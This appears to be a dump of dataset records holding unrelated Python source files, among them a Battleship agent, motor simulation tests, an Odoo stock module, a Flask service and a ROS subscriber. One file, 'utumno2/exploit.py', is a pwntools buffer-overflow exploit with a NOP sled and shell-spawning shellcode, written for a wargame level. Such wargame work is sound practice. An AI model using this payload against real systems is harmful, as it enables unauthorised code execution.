ship.possible_vectors.remove(DOWN)\n\n if len(ship.known_positions) > 1:\n # invalidate impossible vectors \n a, b = ship.known_positions[0:2]\n to_remove = []\n if a.x == b.x:\n if LEFT in ship.possible_vectors:\n ship.possible_vectors.remove(LEFT)\n if RIGHT in ship.possible_vectors:\n ship.possible_vectors.remove(RIGHT)\n for pos in ship.likely_positions:\n if pos.x != a.x:\n to_remove.append(pos)\n\n if a.y == b.y:\n if UP in ship.possible_vectors:\n ship.possible_vectors.remove(UP)\n if DOWN in ship.possible_vectors:\n ship.possible_vectors.remove(DOWN)\n for pos in ship.likely_positions:\n if pos.y != a.y:\n to_remove.append(pos)\n for badpos in to_remove:\n ship.likely_positions.remove(badpos)\n\n for v in ship.possible_vectors:\n v = VECTOR_DICT[v]\n newx, newy = fromTo((x,y), v)\n if self.state.board.isValidSpace(newx, newy):\n ship.seen = True\n ship.likely_positions.append(self.state.board.nodeAt(newx, newy))\n\n def shotMissed(self, shot):\n \"\"\"Called when your shot has missed\"\"\"\n x,y = shot\n self.state.board.nodeAt(x, y).markShot(MISS)\n\n def opponentShot(self, shot):\n \"\"\"Called when your opponent shoots\"\"\"\n pass\n\n def shipSunk(self, shipName):\n \"\"\"Called when you sink a ship.\"\"\"\n self.state.ships[shipName].dead = True\n self.state.ships[shipName].likely_positions = []\n\n def gameWon(self):\n \"\"\"Called when you win.\"\"\"\n self.tracker.gamesWon += 1\n self.tracker.speeds.append(len(self.state.shot_cells))\n self.tracker.logStatistics()\n\n def gameLost(self):\n \"\"\"Called when you lose\"\"\"\n self.tracker.gamesLost += 1\n self.tracker.logStatistics()\n\nAgent = DownInFlames\n","sub_path":"downinflamesjb/downinflames.py","file_name":"downinflames.py","file_ext":"py","file_size_in_byte":13828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"573904458","text":"#!/bin/python\nfrom pwn import *\n\ncontext.binary = ELF(\"/tmp/xdead-utm2/handler\")\n\np = process()\n\nsc = shellcraft.i386.linux.sh()\nsc += shellcraft.i386.linux.exit(0)\n\navoid = {'\\x00'}\n\npayload = 'A' * 16\npayload += p32(0xffffdd8c + 30)\npayload += '\\x90' * 60\npayload += asm(sc)\npayload += 'A' * 16\n\nlog.info(p.clean())\n\npause()\np.sendline(str(len(payload)))\np.sendline(payload)\n\np.interactive()\n#log.info(p.clean())\n","sub_path":"utumno2/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"24728147","text":"# -*- coding: utf-8 -*-\nimport pytest\n\nfrom os.path import join\nfrom multiprocessing import cpu_count\n\nfrom pyleecan.Classes.ForceMT import ForceMT\nfrom pyleecan.Classes.OPdq import OPdq\nfrom pyleecan.Classes.Simu1 import Simu1\nfrom pyleecan.Classes.MagFEMM import MagFEMM\nfrom pyleecan.Classes.InputCurrent import InputCurrent\n\nfrom pyleecan.Functions.load import load\nfrom pyleecan.Functions.Plot import dict_2D\nfrom pyleecan.definitions import DATA_DIR\nfrom Tests import save_validation_path as save_path\n\nDELTA = 1e-6\n\n\n@pytest.mark.long_5s\n@pytest.mark.MagFEMM\n@pytest.mark.ForceMT\n@pytest.mark.IPMSM\n@pytest.mark.periodicity\n@pytest.mark.SingleOP\ndef test_IPMSM():\n \"\"\"Validation of the AGSF transfer calculation for IPMSM machine\"\"\"\n\n # Load machine\n Toyota_Prius = load(join(DATA_DIR, \"Machine\", \"Toyota_Prius.json\"))\n\n # Prepare simulation\n simu = Simu1(name=\"test_compare_transfer_IPMSM_no_transfer\", machine=Toyota_Prius)\n\n simu.input = InputCurrent(\n OP=OPdq(N0=1200, Id_ref=0, Iq_ref=0),\n Ir=None,\n Na_tot=2 ** 11,\n Nt_tot=2 ** 6,\n )\n\n # Configure simulation\n simu.elec = None\n simu.mag = MagFEMM(\n is_periodicity_a=True,\n is_periodicity_t=True,\n )\n simu.force = ForceMT(\n is_periodicity_a=True,\n is_periodicity_t=True,\n )\n\n # Run simulation\n out = simu.run()\n\n # Test 2 : with transfer\n simu2 = simu.copy()\n simu2.name = \"test_compare_transfer_IPMSM_with_transfer\"\n\n simu2.input = InputCurrent(\n OP=OPdq(N0=1200, Id_ref=0, Iq_ref=0),\n Ir=None,\n Na_tot=2 ** 11,\n Nt_tot=2 ** 6,\n )\n\n simu2.mag = MagFEMM(\n is_periodicity_a=True,\n is_periodicity_t=True,\n )\n simu2.force = ForceMT(\n is_agsf_transfer=True,\n is_periodicity_a=True,\n is_periodicity_t=True,\n )\n\n out2 = simu2.run()\n\n out2.force.AGSF.plot_2D_Data(\n \"angle[oneperiod]\",\n \"time=0\",\n data_list=[out.force.AGSF],\n legend_list=[\"With Transfer\", \"No Transfer\"],\n save_path=join(save_path, \"test_compare_transfer_IPMSM.png\"),\n is_show_fig=False,\n **dict_2D\n )\n\n max_r = 42\n out2.force.AGSF.plot_2D_Data(\n \"wavenumber\",\n \"time=0\",\n x_min=-max_r,\n x_max=+max_r,\n data_list=[out.force.AGSF],\n legend_list=[\"With Transfer\", \"No Transfer\"],\n save_path=join(save_path, \"test_compare_transfer_IPMSM_fft2.png\"),\n is_show_fig=False,\n barwidth=600,\n **dict_2D\n )\n\n return out, out2\n\n\n@pytest.mark.long_5s\n@pytest.mark.MagFEMM\n@pytest.mark.ForceMT\n@pytest.mark.SIPMSM\n@pytest.mark.parallel\n@pytest.mark.periodicity\n@pytest.mark.SingleOP\ndef test_Benchmark():\n \"\"\"Validation test using AGSF transfer for the 12s10p benchmark\n machine from publication:\n\n DEVILLERS, Emile, HECQUET, Michel, CIMETIERE,\n Xavier, et al. Experimental benchmark for magnetic noise and vibrations\n analysis in electrical machines. In : 2018 XIII International Conference\n on Electrical Machines (ICEM). IEEE, 2018. p. 745-751.\n \"\"\"\n\n # Load machine\n Benchmark = load(join(DATA_DIR, \"Machine\", \"Benchmark.json\"))\n\n # Prepare simulation\n simu = Simu1(name=\"test_compare_transfer_Benchmark_Rag\", machine=Benchmark)\n\n simu.input = InputCurrent(\n OP=OPdq(N0=1200, Id_ref=0, Iq_ref=0),\n Ir=None,\n Na_tot=5 * 2 ** 9,\n Nt_tot=2,\n )\n\n # Configure simulation\n simu.elec = None\n simu.mag = MagFEMM(\n is_periodicity_a=False,\n is_periodicity_t=False,\n is_sliding_band=False,\n )\n simu.force = ForceMT(\n is_periodicity_a=False,\n is_periodicity_t=False,\n )\n\n # Test 2 : with transfer\n simu2 = simu.copy()\n simu2.name = \"test_compare_transfer_Benchmark_Rag_Transfer\"\n simu2.force.is_agsf_transfer = True\n simu2.force.max_wavenumber_transfer = 100\n\n # simu 3 directly at Rsbo\n Rsbo = 0.0480\n Rrbo = 0.0450\n\n k = 99.8\n Rag = (Rsbo - Rrbo) * k / 100 + Rrbo\n simu3 = simu.copy()\n simu2.name = \"test_compare_transfer_Benchmark_Rsbo\"\n simu3.mag.Rag_enforced = Rag\n # Run simulation with Rag in the middle of the air-gap\n out = simu.run()\n out2 = simu2.run()\n out3 = simu3.run()\n\n out2.force.AGSF.plot_2D_Data(\n \"angle=[0,3.14]\",\n \"time=0\",\n data_list=[out.force.AGSF, out3.force.AGSF],\n legend_list=[\"Rag + Transfer\", \"Rag\", \"Rsbo\"],\n save_path=join(save_path, \"test_compare_transfer_Benchmark.png\"),\n is_show_fig=False,\n **dict_2D\n )\n\n out2.force.AGSF.plot_2D_Data(\n \"wavenumber\",\n \"tangential\",\n \"time=0\",\n x_min=0,\n x_max=24,\n data_list=[out.force.AGSF, out3.force.AGSF],\n legend_list=[\"Rag + Transfer\", \"Rag\", \"Rsbo\"],\n save_path=join(save_path, \"test_compare_transfer_Benchmark_fft2.png\"),\n is_show_fig=False,\n barwidth=2000,\n **dict_2D\n )\n return out, out2, out3\n\n\nif __name__ == \"__main__\":\n\n # out, out2 = test_IPMSM()\n out3, out4, out5 = test_Benchmark()\n","sub_path":"Tests/Validation/Force/AGSF_Transfer/test_compare_transfer.py","file_name":"test_compare_transfer.py","file_ext":"py","file_size_in_byte":5119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"596546519","text":"import os\nimport numpy as np\nimport skvideo.io as sk\n\ndef play_clip(dataloader):\n frames = iter(dataloader).next()[0]\n np_frames = np.transpose(frames.numpy(),(0,2,3,1)) * 255\n np_frames = np_frames.astype(np.uint8)\n sk.vwrite(\"clip.mp4\", np_frames)\n cmd = 'mplayer -loop 0 -really-quiet clip.mp4'\n os.system(cmd)\n return\n\ndef save_clip(file_name, frames):\n np_frames = np.transpose(frames.numpy(), (0,2,3,1)) * 255\n np_frames = np_frames.astype(np.uint8)\n sk.vwrite(file_name, np_frames)\n return\n","sub_path":"Video-Comp/DisplayTools/video_tools.py","file_name":"video_tools.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"432505140","text":"from datetime import datetime\nimport codecs\nimport json\n\nfile = open('data/WhatsApp_Mela.txt')\n\nout_events = []\nmessage = {}\n\ndef convert_to_timestamp(time):\n return int((time - datetime.fromtimestamp(0)).total_seconds())\n\nfor line in file:\n if line.startswith(codecs.BOM_UTF8):\n line = line[3:]\n if line.count(':') > 2 and (line.find('Kris') > 0 or line.find('Mela') > 0):\n if message:\n out_events.append(message)\n message = {}\n nameindex = line.index('M')+1\n timestr = line[:nameindex].strip()\n time = datetime.strptime(timestr + ' EST', '%m/%d/%y, %I:%M:%S %p %Z')\n msgindex = line.index(':', nameindex+1)\n name = line[nameindex+2:msgindex]\n msg = line[msgindex+2:].strip()\n message = {'name' : name.split(' ')[0], 'ts' : convert_to_timestamp(time), 'message': msg}\n else:\n message['message'] += \" \" + line.strip()\n\nout_events.append(message)\n\nsorted_out = sorted(out_events, key= lambda k: float(k[u'ts']))\nout_file = open('data/whatsapp.json', 'w')\njson.dump(sorted_out, out_file, indent=0)\nout_file.close()","sub_path":"whatsapp.py","file_name":"whatsapp.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"283896796","text":"#!/usr/bin/env python\n# -*- coding: iso-8859-15 -*-\n\nfrom nurse.base import *\nfrom nurse.config import Config\nfrom nurse.sprite import *\nfrom nurse.context import Context, ContextManager\nfrom nurse.screen import *\n\n\ndef create_bg(context):\n\tfsm = StaticSprite('hospital', context, layer=0)\n\tfsm.load_from_filename('hopital.png')\n\tfsm.set_location(np.array([-440, -300]))\n\tfsm.start()\n\n\ndef create_pause(context):\n\tscreen = Config.get_graphic_engine().get_screen()\n\tw, h = screen.get_width(), screen.get_height()\n\tfsm = StaticSprite('pause', context, layer=2)\n\tfsm.load_from_filename('pause.png')\n\t# FIXME : coordinates should be in screen coordinates\n\tsize = fsm._size\n\tfsm.set_location(np.array([(w - size[0]) / 2, (h - size[1]) / 2]))\n\tfsm.start()\n\n\ndef create_perso_left(context):\n\tp1 = [0, -100]\n\tp2 = [200, -100]\n\tp3 = [200, 100]\n\tp4 = [-200, 100]\n\tp5 = [-200, -100]\n\tpath = np.array([p1, p2, p3, p4, p5])\n\tmotion = PathMotion(speed=180.)\n\tmotion.set_path(path)\n\tfsm = AnimatedSprite(\"nurse\", context, layer=2)\n\tfsm.set_motion(motion)\n\tfsm.load_frames_from_filenames('__default__', ['infirmiere.png'],\n\t\t\t\t\t\t\t'centered_bottom', 1)\n\tfsm.start()\n\treturn fsm\n\n\ndef create_perso_right(context):\n\tp1 = [0, -100]\n\tp2 = [-200, -100]\n\tp3 = [-200, 100]\n\tp4 = [200, 100]\n\tp5 = [200, -100]\n\tpath = np.array([p1, p2, p3, p4, p5])\n\tmotion = PathMotion(speed=180.)\n\tmotion.set_path(path)\n\tfsm = AnimatedSprite(\"perso\", context, layer=2)\n\tfsm.set_motion(motion)\n\tfsm.load_frames_from_filenames('__default__', ['perso.png'],\n\t\t\t\t\t\t\t'centered_bottom', 1)\n\tfsm.start()\n\treturn fsm\n\n\n#-------------------------------------------------------------------------------\ndef main():\n\t# config\n\tConfig.backend = 'pyglet'\n\tConfig.init()\n\n\t# init\n\tcontext_manager = ContextManager()\n\tuniverse.context_manager = context_manager\n\tresolution = Config.resolution\n\tcontext_split = Context(\"context split\")\n\tcreate_bg(context_split)\n\n\t# left context\n\tperso_left = create_perso_left(context_split)\n\tgeometry_left = (0, 0, resolution[0] / 2, resolution[1])\n\tscreen_left = VirtualScreenWorldCoordinates('screen left',\n\t\t\tgeometry_left, perso_left.get_location(), perso_left)\n\tcontext_split.add_screen(screen_left)\n\tcontext_manager.add_state(context_split)\n\n\t# right context\n\tperso_right = create_perso_right(context_split)\n\tgeometry_right = (resolution[0] / 2, 0, resolution[0] / 2,resolution[1])\n\tscreen_right = VirtualScreenWorldCoordinates('screen right',\n\t\t\tgeometry_right, perso_right.get_location(), perso_right)\n\tcontext_split.add_screen(screen_right)\n\tcontext_manager.add_state(context_split)\n\n\tcontext_manager.set_initial_state(context_split)\n\tcontext_manager.start()\n\n\t# context pause\n\tcontext_pause = Context(\"context pause\")\n\tcreate_pause(context_pause)\n\tcontext_manager.add_state(context_pause)\n\tgeometry = (0, 0, resolution[0], resolution[1])\n\tscreen = VirtualScreenRealCoordinates('screen', geometry)\n\tcontext_pause.add_screen(screen)\n\n\t# start\n\tevent_loop = Config.get_event_loop()\n\tevent_loop.start()\n\nif __name__ == \"__main__\" : main()\n","sub_path":"examples/test_two_screens.py","file_name":"test_two_screens.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"448241275","text":"import os\n\nfrom flask import Flask, request, jsonify\n\nfrom application.get_offerer_enriched_data_status import get_offerer_enriched_data_status\nfrom application.get_stock_enriched_data_status import get_stock_enriched_data_status\nfrom application.get_user_enriched_data_status import get_user_enriched_data_status\nfrom db import DATABASE_URL, db\nfrom create_enriched_data_views import create_enriched_data_views\nfrom repository.health_check_repository import does_enriched_offerer_data_exists, does_enriched_user_data_exists, \\\n does_enriched_offerer_contains_data, does_enriched_users_contains_data, does_enriched_stocks_contains_data, \\\n does_enriched_stock_data_exists\n\napp = Flask(__name__, static_url_path='/static')\napp.secret_key = os.environ.get('FLASK_SECRET', '+%+3Q23!zbc+!Dd@')\napp.config['SQLALCHEMY_DATABASE_URI'] = DATABASE_URL\napp.config['SQLALCHEMY_POOL_SIZE'] = int(os.environ.get('DATABASE_POOL_SIZE', 20))\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb.init_app(app)\n\n\n@app.route('/')\ndef ping():\n return '', 200\n\n\n@app.route('/health/offerer')\ndef health_check_offerer_status():\n table_status = get_offerer_enriched_data_status(\n is_enriched_offerer_data_exists=does_enriched_offerer_data_exists,\n is_enriched_offerer_contains_data=does_enriched_offerer_contains_data\n )\n\n return jsonify(table_status), 200\n\n@app.route('/health/user')\ndef health_check_user_status():\n table_status = get_user_enriched_data_status(\n is_enriched_user_data_exists=does_enriched_user_data_exists,\n is_enriched_users_contains_data=does_enriched_users_contains_data,\n )\n\n return jsonify(table_status), 200\n\n\n@app.route('/health/stock')\ndef health_check_stock_status():\n table_status = get_stock_enriched_data_status(\n is_enriched_stock_data_exists=does_enriched_stock_data_exists,\n is_enriched_stocks_contains_data=does_enriched_stocks_contains_data,\n )\n\n return jsonify(table_status), 200\n\n\n@app.route('/', methods=['POST'])\ndef write_enriched_data():\n token = request.args.get('token')\n bastion_token = os.environ.get('BASTION_TOKEN')\n if token == bastion_token:\n create_enriched_data_views()\n return '', 200\n return '', 401\n\n\nif __name__ == '__main__':\n port = int(os.environ.get(\"PORT\", 5000))\n app.run(host=\"0.0.0.0\", port=port, use_reloader=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"597219351","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\nfrom odoo import models, fields, api, _\nfrom odoo.fields import Datetime\nfrom odoo.tools.float_utils import float_compare, float_round, float_is_zero\n\nclass Picking(models.Model):\n _inherit = \"stock.picking\"\n\n force_date = fields.Datetime('Force Date')\n\n @api.multi\n def action_done(self):\n \"\"\"Changes picking state to done by processing the Stock Moves of the Picking\n\n Normally that happens when the button \"Done\" is pressed on a Picking view.\n @return: True\n \"\"\"\n # TDE FIXME: remove decorator when migration the remaining\n todo_moves = self.mapped('move_lines').filtered(lambda self: self.state in ['draft', 'waiting', 'partially_available', 'assigned', 'confirmed'])\n # Check if there are ops not linked to moves yet\n for pick in self:\n # # Link existing moves or add moves when no one is related\n for ops in pick.move_line_ids.filtered(lambda x: not x.move_id):\n # Search move with this product\n moves = pick.move_lines.filtered(lambda x: x.product_id == ops.product_id)\n moves = sorted(moves, key=lambda m: m.quantity_done < m.product_qty, reverse=True)\n if moves:\n ops.move_id = moves[0].id\n else:\n new_move = self.env['stock.move'].create({\n 'name': _('New Move:') + ops.product_id.display_name,\n 'product_id': ops.product_id.id,\n 'product_uom_qty': ops.qty_done,\n 'product_uom': ops.product_uom_id.id,\n 'location_id': pick.location_id.id,\n 'location_dest_id': pick.location_dest_id.id,\n 'picking_id': pick.id,\n 'force_date' : pick.force_date\n })\n ops.move_id = new_move.id\n new_move._action_confirm()\n todo_moves |= new_move\n todo_moves._action_done()\n date = self.force_date or fields.Datetime.now()\n self.write({'date_done': date})\n return True\n\nclass StockMove(models.Model):\n _inherit = 'stock.move'\n\n force_date = fields.Datetime('Force Date')\n\n def _action_done(self):\n self.filtered(lambda move: move.state == 'draft')._action_confirm() # MRP allows scrapping draft moves\n moves = self.exists().filtered(lambda x: x.state not in ('done', 'cancel'))\n moves_todo = self.env['stock.move']\n\n # Cancel moves where necessary ; we should do it before creating the extra moves because\n # this operation could trigger a merge of moves.\n for move in moves:\n if move.quantity_done <= 0:\n if float_compare(move.product_uom_qty, 0.0, precision_rounding=move.product_uom.rounding) == 0:\n move._action_cancel()\n\n # Create extra moves where necessary\n for move in moves:\n if move.state == 'cancel' or move.quantity_done <= 0:\n continue\n # extra move will not be merged in mrp\n if not move.picking_id:\n moves_todo |= move\n moves_todo |= move._create_extra_move()\n\n # Split moves where necessary and move quants\n for move in moves_todo:\n # To know whether we need to create a backorder or not, round to the general product's\n # decimal precision and not the product's UOM.\n rounding = self.env['decimal.precision'].precision_get('Product Unit of Measure')\n if float_compare(move.quantity_done, move.product_uom_qty, precision_digits=rounding) < 0:\n # Need to do some kind of conversion here\n qty_split = move.product_uom._compute_quantity(move.product_uom_qty - move.quantity_done, move.product_id.uom_id, rounding_method='HALF-UP')\n new_move = move._split(qty_split)\n for move_line in move.move_line_ids:\n if move_line.product_qty and move_line.qty_done:\n # FIXME: there will be an issue if the move was partially available\n # By decreasing `product_qty`, we free the reservation.\n # FIXME: if qty_done > product_qty, this could raise if nothing is in stock\n try:\n move_line.write({'product_uom_qty': move_line.qty_done})\n except UserError:\n pass\n move._unreserve_initial_demand(new_move)\n move.move_line_ids._action_done()\n # Check the consistency of the result packages; there should be an unique location across\n # the contained quants.\n for result_package in moves_todo\\\n .mapped('move_line_ids.result_package_id')\\\n .filtered(lambda p: p.quant_ids and len(p.quant_ids) > 1):\n if len(result_package.quant_ids.mapped('location_id')) > 1:\n raise UserError(_('You should not put the contents of a package in different locations.'))\n picking = moves_todo and moves_todo[0].picking_id or False\n date = moves_todo.mapped('force_date') and min(moves_todo.mapped('force_date')) or picking and picking.force_date or fields.Datetime.now()\n moves_todo.write({'state': 'done', 'date': date})\n moves_todo.mapped('move_dest_ids')._action_assign()\n\n # We don't want to create back order for scrap moves\n # Replace by a kwarg in master\n if self.env.context.get('is_scrap'):\n return moves_todo\n if picking:\n picking._create_backorder()\n return moves_todo\n\nclass StockMoveLine(models.Model):\n _inherit = 'stock.move.line'\n\n force_date = fields.Datetime('Force Date')\n\n def _action_done(self):\n \"\"\" This method is called during a move's `action_done`. It'll actually move a quant from\n the source location to the destination location, and unreserve if needed in the source\n location.\n\n This method is intended to be called on all the move lines of a move. This method is not\n intended to be called when editing a `done` move (that's what the override of `write` here\n is done.\n \"\"\"\n\n # First, we loop over all the move lines to do a preliminary check: `qty_done` should not\n # be negative and, according to the presence of a picking type or a linked inventory\n # adjustment, enforce some rules on the `lot_id` field. If `qty_done` is null, we unlink\n # the line. It is mandatory in order to free the reservation and correctly apply\n # `action_done` on the next move lines.\n\n ml_to_delete = self.env['stock.move.line']\n for ml in self:\n # Check here if `ml.qty_done` respects the rounding of `ml.product_uom_id`.\n uom_qty = float_round(ml.qty_done, precision_rounding=ml.product_uom_id.rounding, rounding_method='HALF-UP')\n precision_digits = self.env['decimal.precision'].precision_get('Product Unit of Measure')\n qty_done = float_round(ml.qty_done, precision_digits=precision_digits, rounding_method='HALF-UP')\n if float_compare(uom_qty, qty_done, precision_digits=precision_digits) != 0:\n raise UserError(_('The quantity done for the product \"%s\" doesn\\'t respect the rounding precision \\\n defined on the unit of measure \"%s\". Please change the quantity done or the \\\n rounding precision of your unit of measure.') % (ml.product_id.display_name, ml.product_uom_id.name))\n\n qty_done_float_compared = float_compare(ml.qty_done, 0, precision_rounding=ml.product_uom_id.rounding)\n if qty_done_float_compared > 0:\n if ml.product_id.tracking != 'none':\n picking_type_id = ml.move_id.picking_type_id\n if picking_type_id:\n if picking_type_id.use_create_lots:\n # If a picking type is linked, we may have to create a production lot on\n # the fly before assigning it to the move line if the user checked both\n # `use_create_lots` and `use_existing_lots`.\n if ml.lot_name and not ml.lot_id:\n lot = self.env['stock.production.lot'].create(\n {'name': ml.lot_name, 'product_id': ml.product_id.id}\n )\n ml.write({'lot_id': lot.id})\n elif not picking_type_id.use_create_lots and not picking_type_id.use_existing_lots:\n # If the user disabled both `use_create_lots` and `use_existing_lots`\n # checkboxes on the picking type, he's allowed to enter tracked\n # products without a `lot_id`.\n continue\n elif ml.move_id.inventory_id:\n # If an inventory adjustment is linked, the user is allowed to enter\n # tracked products without a `lot_id`.\n continue\n\n if not ml.lot_id:\n raise UserError(_('You need to supply a lot/serial number for %s.') % ml.product_id.name)\n elif qty_done_float_compared < 0:\n raise UserError(_('No negative quantities allowed'))\n else:\n ml_to_delete |= ml\n ml_to_delete.unlink()\n\n # Now, we can actually move the quant.\n done_ml = self.env['stock.move.line']\n for ml in self - ml_to_delete:\n date = ml.force_date or ml.move_id and ml.move_id.force_date or ml.picking_id and ml.picking_id.force_date\n if ml.product_id.type == 'product':\n Quant = self.env['stock.quant']\n rounding = ml.product_uom_id.rounding\n\n # if this move line is force assigned, unreserve elsewhere if needed\n if not ml.location_id.should_bypass_reservation() and float_compare(ml.qty_done, ml.product_qty, precision_rounding=rounding) > 0:\n extra_qty = ml.qty_done - ml.product_qty\n ml._free_reservation(ml.product_id, ml.location_id, extra_qty, lot_id=ml.lot_id, package_id=ml.package_id, owner_id=ml.owner_id, ml_to_ignore=done_ml)\n # unreserve what's been reserved\n if not ml.location_id.should_bypass_reservation() and ml.product_id.type == 'product' and ml.product_qty:\n try:\n Quant._update_reserved_quantity(ml.product_id, ml.location_id, -ml.product_qty, lot_id=ml.lot_id, package_id=ml.package_id, owner_id=ml.owner_id, strict=True)\n except UserError:\n Quant._update_reserved_quantity(ml.product_id, ml.location_id, -ml.product_qty, lot_id=False, package_id=ml.package_id, owner_id=ml.owner_id, strict=True)\n\n # move what's been actually done\n quantity = ml.product_uom_id._compute_quantity(ml.qty_done, ml.move_id.product_id.uom_id, rounding_method='HALF-UP')\n available_qty, in_date = Quant._update_available_quantity(ml.product_id, ml.location_id, -quantity, lot_id=ml.lot_id, package_id=ml.package_id, owner_id=ml.owner_id)\n if date:\n if in_date and in_date > date:\n in_date = Datetime.from_string(date)\n if available_qty < 0 and ml.lot_id:\n # see if we can compensate the negative quants with some untracked quants\n untracked_qty = Quant._get_available_quantity(ml.product_id, ml.location_id, lot_id=False, package_id=ml.package_id, owner_id=ml.owner_id, strict=True)\n if untracked_qty:\n taken_from_untracked_qty = min(untracked_qty, abs(quantity))\n Quant._update_available_quantity(ml.product_id, ml.location_id, -taken_from_untracked_qty, lot_id=False, package_id=ml.package_id, owner_id=ml.owner_id)\n Quant._update_available_quantity(ml.product_id, ml.location_id, taken_from_untracked_qty, lot_id=ml.lot_id, package_id=ml.package_id, owner_id=ml.owner_id)\n Quant._update_available_quantity(ml.product_id, ml.location_dest_id, quantity, lot_id=ml.lot_id, package_id=ml.result_package_id, owner_id=ml.owner_id, in_date=in_date)\n done_ml |= ml\n # Reset the reserved quantity as we just moved it to the destination location.\n for ml in (self - ml_to_delete).with_context(bypass_reservation_update=True):\n date = ml.force_date or ml.move_id and ml.move_id.force_date or ml.picking_id and ml.picking_id.force_date or fields.Datetime.now()\n ml.write({'product_uom_qty': 0.00, 'date': date})\n\n\nclass Inventory(models.Model):\n _inherit = \"stock.inventory\"\n\n force_date = fields.Datetime('Force Date')\n\n\nclass Inventory(models.Model):\n _inherit = \"stock.inventory.line\"\n\n def _get_move_values(self, qty, location_id, location_dest_id, out):\n self.ensure_one()\n return {\n 'name': _('INV:') + (self.inventory_id.name or ''),\n 'product_id': self.product_id.id,\n 'product_uom': self.product_uom_id.id,\n 'product_uom_qty': qty,\n 'date': self.inventory_id.date,\n 'company_id': self.inventory_id.company_id.id,\n 'inventory_id': self.inventory_id.id,\n 'state': 'confirmed',\n 'restrict_partner_id': self.partner_id.id,\n 'location_id': location_id,\n 'location_dest_id': location_dest_id,\n 'force_date': self.inventory_id.force_date,\n 'move_line_ids': [(0, 0, {\n 'product_id': self.product_id.id,\n 'lot_id': self.prod_lot_id.id,\n 'product_uom_qty': 0, # bypass reservation here\n 'product_uom_id': self.product_uom_id.id,\n 'qty_done': qty,\n 'package_id': out and self.package_id.id or False,\n 'result_package_id': (not out) and self.package_id.id or False,\n 'location_id': location_id,\n 'location_dest_id': location_dest_id,\n 'owner_id': self.partner_id.id,\n 'force_date' : self.inventory_id.force_date\n })]\n }\n","sub_path":"pways_stock_force_date/models/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":14853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"229334454","text":"def lettercount(str1):\n\n count=0\n lst={}\n for i in range(0,len(str1)):\n if str1[i]!=' ' and ((str1[i]>='a' and str1[i]<='z') or (str1[i]>='A' and str1[i]<='Z')):\n key=str1[i]\n if key in lst.keys():\n lst[key]=lst.get(key)+1\n else:\n lst[key]=1\n\n for key,val in lst.items():\n print(key,val)\n\ndef main():\n str1 = 'I work in Amazon in Seattle'\n\n lettercount(str1)\n\n\nif __name__=='__main__':\n main()\n","sub_path":"python/Strings/LetterCount.py","file_name":"LetterCount.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"237505298","text":"import argparse\nimport os\nimport fnmatch\nimport glob\nimport shutil\n\nimport sys\ntry:\n import numpy as np\n import pyfits as pf\n import scipy.ndimage as nd\n import pylab as pl\n import os\n import heapq\n from scipy.optimize import leastsq\n\nexcept ImportError:\n print\n 'Error: missing one of the libraries (numpy, pyfits, scipy, matplotlib)'\n sys.exit()\nsys.path.append(os.path.dirname(os.path.abspath(path)))\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--image_dir\", help=\"directory of images\")\n parser.add_argument(\"--anno_dir\", help=\"directory of annotations\")\n parser.add_argument(\"--dest_dir\", help=\"directory for destination\")\n args = parser.parse_args()\n leave_unused(args.image_dir, args.anno_dir, args.dest_dir)\n\n\ndef leave_unused(image_dir, anno_dir, dest_dir):\n print(image_dir)\n print(anno_dir)\n print(dest_dir)\n\n annotated = get_filenames(anno_dir, \"*.xml\")\n image_paths = glob.glob(os.path.join(image_dir, \"*\"))\n no_anno = 0\n for image_path in image_paths:\n if is_annotated(image_path, annotated):\n shutil.copy2(image_path, dest_dir)\n else:\n print(\"no anno\", image_path)\n no_anno += 1\n print(\"{} removed out of {}\".format(no_anno, len(image_paths)))\n\n\ndef get_filenames(path, pattern):\n pattern = \"*.xml\"\n names = [fn.split(\".\")[0] for fn in\n fnmatch.filter(os.listdir(path), pattern)]\n\n return names\n\n\ndef is_annotated(image_path, annotated_names):\n basename = os.path.basename(image_path)\n image_filename = basename.split(\".\")[0]\n return image_filename in annotated_names\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/remove_unused_image.py","file_name":"remove_unused_image.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"551351522","text":"#!/usr/bin/env python\nimport numpy as np\nimport cv2 \nimport rospy\n\nfrom sensor_msgs.msg import Image\nfrom std_msgs.msg import String\nfrom cv_bridge import CvBridge,CvBridgeError\nimport sys\n\nbridge = CvBridge()\ndef image_handler(Ros_Image):\n global bridge\n try:\n cv_image = bridge.imgmsg_to_cv2(Ros_Image,'bgr8')\n except CvBridgeError as error:\n rospy.loginfo(error)\n cv2.imshow('Webcam',cv_image)\n cv2.waitKey(1)\n\ndef subscriber(): \n rospy.init_node('Image_Receiver',anonymous= True)\n sub = rospy.Subscriber('/image',Image,image_handler) \n rospy.spin()\n\nif __name__ == '__main__':\n try:\n subscriber()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"Practice/src/opencv_learning/scripts/Webcam_ROS.py","file_name":"Webcam_ROS.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} 